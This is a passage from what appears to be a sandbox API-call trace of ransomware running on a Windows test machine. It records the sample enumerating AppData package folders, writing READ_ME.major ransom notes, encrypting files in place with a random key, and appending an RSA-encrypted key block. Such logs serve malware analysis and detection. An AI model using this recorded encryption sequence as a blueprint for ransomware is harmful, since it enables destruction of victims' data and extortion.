ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x2f2ce38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9dbae7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9dbae7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x2f2ce38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9dbae7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9dbae7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.442] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f84c38 [0194.442] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cef8 [0194.442] FindNextFileW (in: hFindFile=0x2f2cef8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x2f2cef8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9dbae7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9dbae7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.442] FindNextFileW (in: hFindFile=0x2f2cef8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9dbae7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b9dbae7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b9dbae7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85a98 [0194.443] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cd78 [0194.443] FindNextFileW (in: hFindFile=0x2f2cd78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.443] FindNextFileW (in: hFindFile=0x2f2cd78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba016f3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba016f3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.443] FindNextFileW (in: hFindFile=0x2f2cd78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x830b9914, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.443] FindNextFileW (in: hFindFile=0x2f2cd78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.443] FindNextFileW (in: hFindFile=0x2f2cd78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0278 [0194.443] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0194.443] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.443] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d04d0 [0194.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.444] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa0 [0194.444] GetFileSizeEx (in: hFile=0xaa0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f938d8 [0194.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f918d0 [0194.444] ReadFile (in: hFile=0xaa0, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.472] SetFilePointer (in: hFile=0xaa0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.472] WriteFile (in: hFile=0xaa0, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.472] SetFilePointer (in: hFile=0xaa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.472] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.472] WriteFile (in: hFile=0xaa0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.473] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5fmkVSwNHc/EoaDvoF9ZCIlCpMF3C8DqOlP7H/iGd2oTSeJL5PAzS5EU8SzxyocT\npaLHFfRq5OZ1ViOBcnk6lx66UE2rFNPiLIC1URLKsglbuxJ7591y2in+i80CAUpU\n0hvfmx+8o0/MjTxHOpUeOZU++9owC3VaHUVY1VCWaEcIQL5o3s60tTMDjUU+azW8\nUZyKBpKoK4UMVVBcgolKMc9oAXW/LEh9iWInubSz3KBF8DEua7+jDHy2vguySZBd\n24NsShr9WgSQa+ODKKfiy3WohSExvA7ETfmZAMTpEKGL00OTHlYfvVJJcfxkDEIe\ntD02/2BUyj/6XdFA7ZiyRg==\n", pcchString=0x2e3f9a8) returned 1 [0194.473] WriteFile (in: hFile=0xaa0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.473] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.473] WriteFile (in: hFile=0xaa0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.474] CloseHandle (hObject=0xaa0) returned 1 [0194.486] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.486] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0194.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.487] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\cortanalistenuiapp_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaa0 [0194.487] GetFileSizeEx (in: hFile=0xaa0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d2f0 [0194.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1e0 [0194.487] ReadFile (in: hFile=0xaa0, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.487] SetFilePointer (in: hFile=0xaa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.488] WriteFile (in: hFile=0xaa0, lpBuffer=0x59d1e0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.488] SetFilePointer (in: hFile=0xaa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.488] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.488] WriteFile (in: hFile=0xaa0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.489] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.489] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.489] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.489] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SJawBAbXiy9/PXP2h3gr+rXT9zVgHe7bRcOiw3vpBkkkCOv1k8SqZFD4TW2krY2S\nhTpu8ZOBA6PNnuSqjHIJLogwE8O1jcYZp/ejeMK+znZtleEti+auGsevTWVIbFPT\n9HwoS+DbKOEgZC1LsFVsowdiCIQ1YKKNdxajqPPLbMNee84KdIo2Rx2g3XQsafVZ\nwoUWzvHVh8i1q/uZmHKg9rk2H6FVlTTuNc3UsRbeJTwsMfseoSqbO4EcgM+p7Y9K\nHDwCFuG1ZdrJuzDaJ0sNcYL9YvGlUvMQnhRMXNCXoyoImLgB9RCtNr2LNwzBZuf9\nBmYZLGXC3jiZqrOZ90G+Mw==\n", pcchString=0x2e3f9a8) returned 1 [0194.490] WriteFile (in: hFile=0xaa0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.490] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.490] WriteFile (in: hFile=0xaa0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.490] CloseHandle (hObject=0xaa0) returned 1 [0194.491] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cbf8 [0194.492] FindNextFileW (in: hFindFile=0x2f2cbf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.492] FindNextFileW (in: hFindFile=0x2f2cbf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba016f3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba016f3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.492] FindNextFileW (in: hFindFile=0x2f2cbf8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba016f3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba016f3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f857b8 [0194.492] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cc38 [0194.492] FindNextFileW (in: hFindFile=0x2f2cc38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830b9914, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x830b9914, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.492] FindNextFileW (in: hFindFile=0x2f2cc38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba016f3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba016f3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.492] FindNextFileW (in: hFindFile=0x2f2cc38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba016f3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2ba016f3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cd90 [0194.492] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cc78 [0194.492] FindNextFileW (in: hFindFile=0x2f2cc78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2ba016f3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.493] FindNextFileW (in: hFindFile=0x2f2cc78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.493] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaac [0194.496] WriteFile (in: hFile=0xaac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.497] CloseHandle (hObject=0xaac) returned 1 [0194.497] FindNextFileW (in: hFindFile=0x2f2cc78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81e65763, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.497] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktoplearning_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xaac [0194.498] WriteFile (in: hFile=0xaac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.498] CloseHandle (hObject=0xaac) returned 1 [0194.499] FindNextFileW (in: hFindFile=0x2f2cc78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x81e65763, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81e65763, 